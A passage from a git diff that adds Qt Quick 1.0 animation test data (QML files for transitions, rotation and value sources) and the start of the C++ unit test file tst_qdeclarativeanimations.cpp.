+ width: 50; height: 50
+ x: 100; y: 100
+ }
+
+ states: State {
+ name: "moved"
+ PropertyChanges {
+ target: theRect
+ x: 200
+ }
+ }
+ transitions: Transition {
+ NumberAnimation { target: theRect; property: "y"; to: 200 }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.state = "moved"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition3.qml b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition3.qml
new file mode 100644
index 00000000..c9d8e95b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition3.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: theRect
+ objectName: "TheRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ }
+
+ states: State {
+ name: "moved"
+ PropertyChanges {
+ target: theRect
+ x: 200
+ }
+ }
+ transitions: Transition {
+ NumberAnimation { targets: theRect; properties: "y" }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.state = "moved"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition4.qml b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition4.qml
new file mode 100644
index 00000000..61e8a967
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition4.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: theRect
+ objectName: "TheRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ }
+
+ states: State {
+ name: "moved"
+ PropertyChanges {
+ target: theRect
+ x: 200
+ }
+ }
+ transitions: Transition {
+ NumberAnimation { target: theRect; properties: "x" }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.state = "moved"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition5.qml b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition5.qml
new file mode 100644
index 00000000..b0239430
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition5.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: theRect
+ objectName: "TheRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ }
+
+ states: State {
+ name: "moved"
+ PropertyChanges {
+ target: theRect
+ x: 200
+ }
+ }
+ transitions: Transition {
+ NumberAnimation { targets: theRect; property: "x" }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.state = "moved"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition6.qml b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition6.qml
new file mode 100644
index 00000000..7c88a7f0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition6.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: theRect
+ objectName: "TheRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ }
+
+ states: State {
+ name: "moved"
+ PropertyChanges {
+ target: theRect
+ x: 200
+ }
+ }
+ transitions: Transition {
+ NumberAnimation { targets: theItem; properties: "x" }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.state = "moved"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition7.qml b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition7.qml
new file mode 100644
index 00000000..fbef95e5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/propertiesTransition7.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: theRect
+ objectName: "TheRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ }
+
+ states: State {
+ name: "moved"
+ PropertyChanges {
+ target: theRect
+ x: 200
+ }
+ }
+ transitions: Transition {
+ SpringAnimation { targets: theRect; properties: "x"; velocity: 10000 }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.state = "moved"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/registrationBug.qml b/tests/auto/declarative/qdeclarativeanimations/data/registrationBug.qml
new file mode 100644
index 00000000..7dc29f93
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/registrationBug.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 200
+ height: 200
+
+ property bool animating: true
+ property int value: 0
+
+ NumberAnimation {
+ target: rect
+ property: "value"
+ running: rect.animating
+ to: 100
+ duration: 50
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/rotation.qml b/tests/auto/declarative/qdeclarativeanimations/data/rotation.qml
new file mode 100644
index 00000000..ac158df7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/rotation.qml
@@ -0,0 +1,48 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 600; height: 200
+
+ Row {
+ spacing: 5
+ Rectangle {
+ id: rr
+ objectName: "rr"
+ color: "red"
+ width: 100; height: 100
+ }
+ Rectangle {
+ id: rr2
+ objectName: "rr2"
+ color: "red"
+ width: 100; height: 100
+ }
+ Rectangle {
+ id: rr3
+ objectName: "rr3"
+ color: "red"
+ width: 100; height: 100
+ }
+ Rectangle {
+ id: rr4
+ objectName: "rr4"
+ color: "red"
+ width: 100; height: 100
+ }
+ }
+
+ states: State {
+ name: "state1"
+ PropertyChanges { target: rr; rotation: 370 }
+ PropertyChanges { target: rr2; rotation: 370 }
+ PropertyChanges { target: rr3; rotation: 370 }
+ PropertyChanges { target: rr4; rotation: 370 }
+ }
+
+ transitions: Transition {
+ RotationAnimation { target: rr; direction: RotationAnimation.Numerical; duration: 1000 }
+ RotationAnimation { target: rr2; direction: RotationAnimation.Clockwise; duration: 1000 }
+ RotationAnimation { target: rr3; direction: RotationAnimation.Counterclockwise; duration: 1000 }
+ RotationAnimation { target: rr4; direction: RotationAnimation.Shortest; duration: 1000 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/runningTrueBug.qml b/tests/auto/declarative/qdeclarativeanimations/data/runningTrueBug.qml
new file mode 100644
index 00000000..7d33ed71
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/runningTrueBug.qml
@@ -0,0 +1,30 @@
+import QtQuick 1.0
+Rectangle {
+ color: "skyblue"
+ width: 500
+ height: 200
+ Rectangle {
+ objectName: "cloud"
+ color: "white"
+ y: 50
+ width: 100
+ height: 100
+
+ SequentialAnimation on x {
+ loops: Animation.Infinite
+ running: true
+ NumberAnimation {
+ id: firstAnimation
+ from: 0
+ to: 500
+ duration: 5000
+ }
+ NumberAnimation {
+ id: secondAnimation
+ from: -100
+ to: 0
+ duration: 1000
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/transitionAssignmentBug.qml b/tests/auto/declarative/qdeclarativeanimations/data/transitionAssignmentBug.qml
new file mode 100644
index 00000000..99b9ac57
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/transitionAssignmentBug.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+
+ property bool nullObject
+ Component.onCompleted: nullObject = transitions.length > 0 && transitions[0] === null
+
+ property list<Transition> myTransitions: [Transition {}, Transition {}]
+ transitions: myTransitions
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/valuesource.qml b/tests/auto/declarative/qdeclarativeanimations/data/valuesource.qml
new file mode 100644
index 00000000..fa9cd400
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/valuesource.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ NumberAnimation on x { id: anim; objectName: "MyAnim"; to: 200 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/data/valuesource2.qml b/tests/auto/declarative/qdeclarativeanimations/data/valuesource2.qml
new file mode 100644
index 00000000..f6343a1b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/data/valuesource2.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ color: "red"
+ width: 50; height: 50
+ x: 100; y: 100
+ NumberAnimation on x { id: anim; objectName: "MyAnim"; running: false; to: 200 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeanimations/qdeclarativeanimations.pro b/tests/auto/declarative/qdeclarativeanimations/qdeclarativeanimations.pro
new file mode 100644
index 00000000..d00d51a6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/qdeclarativeanimations.pro
@@ -0,0 +1,15 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+SOURCES += tst_qdeclarativeanimations.cpp
+macx:CONFIG -= app_bundle
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp
new file mode 100644
index 00000000..4da59108
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp
@@ -0,0 +1,862 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativeanimation_p.h>
+#include <private/qdeclarativeitem_p.h>
+#include <QVariantAnimation>
+#include <QEasingCurve>
+
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativeanimations : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeanimations() {}
+
+private slots:
+ void initTestCase() { QDeclarativeEngine engine; } // ensure types are registered
+
+ void simpleProperty();
+ void simpleNumber();
+ void simpleColor();
+ void simpleRotation();
+ void alwaysRunToEnd();
+ void complete();
+ void resume();
+ void dotProperty();
+ void badTypes();
+ void badProperties();
+ void mixedTypes();
+ void properties();
+ void propertiesTransition();
+ void invalidDuration();
+ void attached();
+ void propertyValueSourceDefaultStart();
+ void dontStart();
+ void easingProperties();
+ void rotation();
+ void runningTrueBug();
+ void nonTransitionBug();
+ void registrationBug();
+ void doubleRegistrationBug();
+ void alwaysRunToEndRestartBug();
+ void transitionAssignmentBug();
+};
+
+#define QTIMED_COMPARE(lhs, rhs) do { \
+ for (int ii = 0; ii < 5; ++ii) { \
+ if (lhs == rhs) \
+ break; \
+ QTest::qWait(50); \
+ } \
+ QCOMPARE(lhs, rhs); \
+} while (false)
+
+void tst_qdeclarativeanimations::simpleProperty()
+{
+ QDeclarativeRectangle rect;
+ QDeclarativePropertyAnimation animation;
+ animation.setTarget(&rect);
+ animation.setProperty("pos");
+ animation.setTo(QPointF(200,200));
+ QVERIFY(animation.target() == &rect);
+ QVERIFY(animation.property() == "pos");
+ QVERIFY(animation.to().toPointF() == QPointF(200,200));
+ animation.start();
+ QVERIFY(animation.isRunning());
+ QTest::qWait(animation.duration());
+ QTIMED_COMPARE(rect.pos(), QPointF(200,200));
+
+ rect.setPos(0,0);
+ animation.start();
+ animation.pause();
+ QVERIFY(animation.isRunning());
+ QVERIFY(animation.isPaused());
+ animation.setCurrentTime(125);
+ QVERIFY(animation.currentTime() == 125);
+ QCOMPARE(rect.pos(), QPointF(100,100));
+}
+
+void tst_qdeclarativeanimations::simpleNumber()
+{
+ QDeclarativeRectangle rect;
+ QDeclarativeNumberAnimation animation;
+ animation.setTarget(&rect);
+ animation.setProperty("x");
+ animation.setTo(200);
+ QVERIFY(animation.target() == &rect);
+ QVERIFY(animation.property() == "x");
+ QVERIFY(animation.to() == 200);
+ animation.start();
+ QVERIFY(animation.isRunning());
+ QTest::qWait(animation.duration());
+ QTIMED_COMPARE(rect.x(), qreal(200));
+
+ rect.setX(0);
+ animation.start();
+ animation.pause();
+ QVERIFY(animation.isRunning());
+ QVERIFY(animation.isPaused());
+ animation.setCurrentTime(125);
+ QVERIFY(animation.currentTime() == 125);
+ QCOMPARE(rect.x(), qreal(100));
+}
+
+void tst_qdeclarativeanimations::simpleColor()
+{
+ QDeclarativeRectangle rect;
+ QDeclarativeColorAnimation animation;
+ animation.setTarget(&rect);
+ animation.setProperty("color");
+ animation.setTo(QColor("red"));
+ QVERIFY(animation.target() == &rect);
+ QVERIFY(animation.property() == "color");
+ QVERIFY(animation.to() == QColor("red"));
+ animation.start();
+ QVERIFY(animation.isRunning());
+ QTest::qWait(animation.duration());
+ QTIMED_COMPARE(rect.color(), QColor("red"));
+
+ rect.setColor(QColor("blue"));
+ animation.start();
+ animation.pause();
+ QVERIFY(animation.isRunning());
+ QVERIFY(animation.isPaused());
+ animation.setCurrentTime(125);
+ QVERIFY(animation.currentTime() == 125);
+ QCOMPARE(rect.color(), QColor::fromRgbF(0.498039, 0, 0.498039, 1));
+
+ rect.setColor(QColor("green"));
+ animation.setFrom(QColor("blue"));
+ QVERIFY(animation.from() == QColor("blue"));
+ animation.restart();
+ QCOMPARE(rect.color(), QColor("blue"));
+ QVERIFY(animation.isRunning());
+ animation.setCurrentTime(125);
+ QCOMPARE(rect.color(), QColor::fromRgbF(0.498039, 0, 0.498039, 1));
+}
+
+void tst_qdeclarativeanimations::simpleRotation()
+{
+ QDeclarativeRectangle rect;
+ QDeclarativeRotationAnimation animation;
+ animation.setTarget(&rect);
+ animation.setProperty("rotation");
+ animation.setTo(270);
+ QVERIFY(animation.target() == &rect);
+ QVERIFY(animation.property() == "rotation");
+ QVERIFY(animation.to() == 270);
+ QVERIFY(animation.direction() == QDeclarativeRotationAnimation::Numerical);
+ animation.start();
+ QVERIFY(animation.isRunning());
+ QTest::qWait(animation.duration());
+ QTIMED_COMPARE(rect.rotation(), qreal(270));
+
+ rect.setRotation(0);
+ animation.start();
+ animation.pause();
+ QVERIFY(animation.isRunning());
+ QVERIFY(animation.isPaused());
+ animation.setCurrentTime(125);
+ QVERIFY(animation.currentTime() == 125);
+ QCOMPARE(rect.rotation(), qreal(135));
+}
+
+void tst_qdeclarativeanimations::alwaysRunToEnd()
+{
+ QDeclarativeRectangle rect;
+ QDeclarativePropertyAnimation animation;
+ animation.setTarget(&rect);
+ animation.setProperty("x");
+ animation.setTo(200);
+ animation.setDuration(1000);
+ animation.setLoops(-1);
+ animation.setAlwaysRunToEnd(true);
+ QVERIFY(animation.loops() == -1);
+ QVERIFY(animation.alwaysRunToEnd() == true);
+ animation.start();
+ QTest::qWait(1500);
+ animation.stop();
+ QVERIFY(rect.x() != qreal(200));
+ QTest::qWait(500);
+ QTIMED_COMPARE(rect.x(), qreal(200));
+}
+
+void tst_qdeclarativeanimations::complete()
+{
+ QDeclarativeRectangle rect;
+ QDeclarativePropertyAnimation animation;
+ animation.setTarget(&rect);
+ animation.setProperty("x");
+ animation.setFrom(1);
+ animation.setTo(200);
+ animation.setDuration(500);
+ QVERIFY(animation.from() == 1);
+ animation.start();
+ QTest::qWait(50);
+ animation.stop();
+ QVERIFY(rect.x() != qreal(200));
+ animation.start();
+ QTest::qWait(50);
+ QVERIFY(animation.isRunning());
+ animation.complete();
+ QCOMPARE(rect.x(), qreal(200));
+}
+
+void tst_qdeclarativeanimations::resume()
+{
+ QDeclarativeRectangle rect;
+ QDeclarativePropertyAnimation animation;
+ animation.setTarget(&rect);
+ animation.setProperty("x");
+ animation.setFrom(10);
+ animation.setTo(200);
+ animation.setDuration(1000);
+ QVERIFY(animation.from() == 10);
+
+ animation.start();
+ QTest::qWait(400);
+ animation.pause();
+ qreal x = rect.x();
+ QVERIFY(x != qreal(200) && x != qreal(10));
+ QVERIFY(animation.isRunning());
+ QVERIFY(animation.isPaused());
+
+ animation.resume();
+ QVERIFY(animation.isRunning());
+ QVERIFY(!animation.isPaused());
+ QTest::qWait(400);
+ animation.stop();
+ QVERIFY(rect.x() > x);
+}
+
+void tst_qdeclarativeanimations::dotProperty()
+{
+ QDeclarativeRectangle rect;
+ QDeclarativeNumberAnimation animation;
+ animation.setTarget(&rect);
+ animation.setProperty("border.width");
+ animation.setTo(10);
+ animation.start();
+ QTest::qWait(animation.duration()+50);
+ QTIMED_COMPARE(rect.border()->width(), 10);
+
+ rect.border()->setWidth(0);
+ animation.start();
+ animation.pause();
+ animation.setCurrentTime(125);
+ QVERIFY(animation.currentTime() == 125);
+ QCOMPARE(rect.border()->width(), 5);
+}
+
+void tst_qdeclarativeanimations::badTypes()
+{
+ //don't crash
+ {
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile(SRCDIR "/data/badtype1.qml"));
+
+ qApp->processEvents();
+
+ delete view;
+ }
+
+ //make sure we get a compiler error
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/badtype2.qml"));
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeComponent: Component is not ready");
+ c.create();
+
+ QVERIFY(c.errors().count() == 1);
+ QCOMPARE(c.errors().at(0).description(), QLatin1String("Invalid property assignment: number expected"));
+ }
+
+ //make sure we get a compiler error
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/badtype3.qml"));
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeComponent: Component is not ready");
+ c.create();
+
+ QVERIFY(c.errors().count() == 1);
+ QCOMPARE(c.errors().at(0).description(), QLatin1String("Invalid property assignment: color expected"));
+ }
+
+ //don't crash
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/badtype4.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeItemPrivate::get(rect)->setState("state1");
+ QTest::qWait(1000 + 50);
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("MyRect");
+ QVERIFY(myRect);
+ QCOMPARE(myRect->x(),qreal(200));
+ }
+}
+
+void tst_qdeclarativeanimations::badProperties()
+{
+ //make sure we get a runtime error
+ {
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c1(&engine, QUrl::fromLocalFile(SRCDIR "/data/badproperty1.qml"));
+ QByteArray message = QUrl::fromLocalFile(SRCDIR "/data/badproperty1.qml").toString().toUtf8() + ":18:9: QML ColorAnimation: Cannot animate non-existent property \"border.colr\"";
+ QTest::ignoreMessage(QtWarningMsg, message);
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c1.create());
+ QVERIFY(rect);
+
+ QDeclarativeComponent c2(&engine, QUrl::fromLocalFile(SRCDIR "/data/badproperty2.qml"));
+ message = QUrl::fromLocalFile(SRCDIR "/data/badproperty2.qml").toString().toUtf8() + ":18:9: QML ColorAnimation: Cannot animate read-only property \"border\"";
+ QTest::ignoreMessage(QtWarningMsg, message);
+ rect = qobject_cast<QDeclarativeRectangle*>(c2.create());
+ QVERIFY(rect);
+
+ //### should we warn here are well?
+ //rect->setState("state1");
+ }
+}
+
+//test animating mixed types with property animation in a transition
+//for example, int + real; color + real; etc
+void tst_qdeclarativeanimations::mixedTypes()
+{
+ //assumes border.width stays a real -- not real robust
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/mixedtype1.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeItemPrivate::get(rect)->setState("state1");
+ QTest::qWait(500);
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("MyRect");
+ QVERIFY(myRect);
+
+ //rather inexact -- is there a better way?
+ QVERIFY(myRect->x() > 100 && myRect->x() < 200);
+ QVERIFY(myRect->border()->width() > 1 && myRect->border()->width() < 10);
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/mixedtype2.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeItemPrivate::get(rect)->setState("state1");
+ QTest::qWait(500);
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("MyRect");
+ QVERIFY(myRect);
+
+ //rather inexact -- is there a better way?
+ QVERIFY(myRect->x() > 100 && myRect->x() < 200);
+ QVERIFY(myRect->color() != QColor("red") && myRect->color() != QColor("blue"));
+ }
+}
+
+void tst_qdeclarativeanimations::properties()
+{
+ const int waitDuration = 300;
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/properties.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("TheRect");
+ QVERIFY(myRect);
+ QTest::qWait(waitDuration);
+ QTIMED_COMPARE(myRect->x(),qreal(200));
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/properties2.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("TheRect");
+ QVERIFY(myRect);
+ QTest::qWait(waitDuration);
+ QTIMED_COMPARE(myRect->x(),qreal(200));
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/properties3.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("TheRect");
+ QVERIFY(myRect);
+ QTest::qWait(waitDuration);
+ QTIMED_COMPARE(myRect->x(),qreal(300));
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/properties4.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("TheRect");
+ QVERIFY(myRect);
+ QTest::qWait(waitDuration);
+ QTIMED_COMPARE(myRect->y(),qreal(200));
+ QTIMED_COMPARE(myRect->x(),qreal(100));
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/properties5.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("TheRect");
+ QVERIFY(myRect);
+ QTest::qWait(waitDuration);
+ QTIMED_COMPARE(myRect->x(),qreal(100));
+ QTIMED_COMPARE(myRect->y(),qreal(200));
+ }
+}
+
+void tst_qdeclarativeanimations::propertiesTransition()
+{
+ const int waitDuration = 300;
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("TheRect");
+ QVERIFY(myRect);
+ QTest::qWait(waitDuration);
+ QTIMED_COMPARE(myRect->x(),qreal(200));
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition2.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("TheRect");
+ QVERIFY(myRect);
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ QCOMPARE(myRect->x(),qreal(200));
+ QCOMPARE(myRect->y(),qreal(100));
+ QTest::qWait(waitDuration);
+ QTIMED_COMPARE(myRect->y(),qreal(200));
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition3.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("TheRect");
+ QVERIFY(myRect);
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ QCOMPARE(myRect->x(),qreal(200));
+ QCOMPARE(myRect->y(),qreal(100));
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition4.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("TheRect");
+ QVERIFY(myRect);
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ QCOMPARE(myRect->x(),qreal(100));
+ QTest::qWait(waitDuration);
+ QTIMED_COMPARE(myRect->x(),qreal(200));
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition5.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("TheRect");
+ QVERIFY(myRect);
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ QCOMPARE(myRect->x(),qreal(100));
+ QTest::qWait(waitDuration);
+ QTIMED_COMPARE(myRect->x(),qreal(200));
+ }
+
+ /*{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition6.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("TheRect");
+ QVERIFY(myRect);
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ QCOMPARE(myRect->x(),qreal(100));
+ QTest::qWait(waitDuration);
+ QTIMED_COMPARE(myRect->x(),qreal(100));
+ }*/
+
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition7.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeItemPrivate::get(rect)->setState("moved");
+ QDeclarativeRectangle *myRect = rect->findChild<QDeclarativeRectangle*>("TheRect");
+ QVERIFY(myRect);
+ QTest::qWait(waitDuration);
+ QTIMED_COMPARE(myRect->x(),qreal(200));
+ }
+
+}
+
+void tst_qdeclarativeanimations::invalidDuration()
+{
+ QDeclarativePropertyAnimation *animation = new QDeclarativePropertyAnimation;
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML PropertyAnimation: Cannot set a duration of < 0");
+ animation->setDuration(-1);
+ QCOMPARE(animation->duration(), 250);
+
+ QDeclarativePauseAnimation *pauseAnimation = new QDeclarativePauseAnimation;
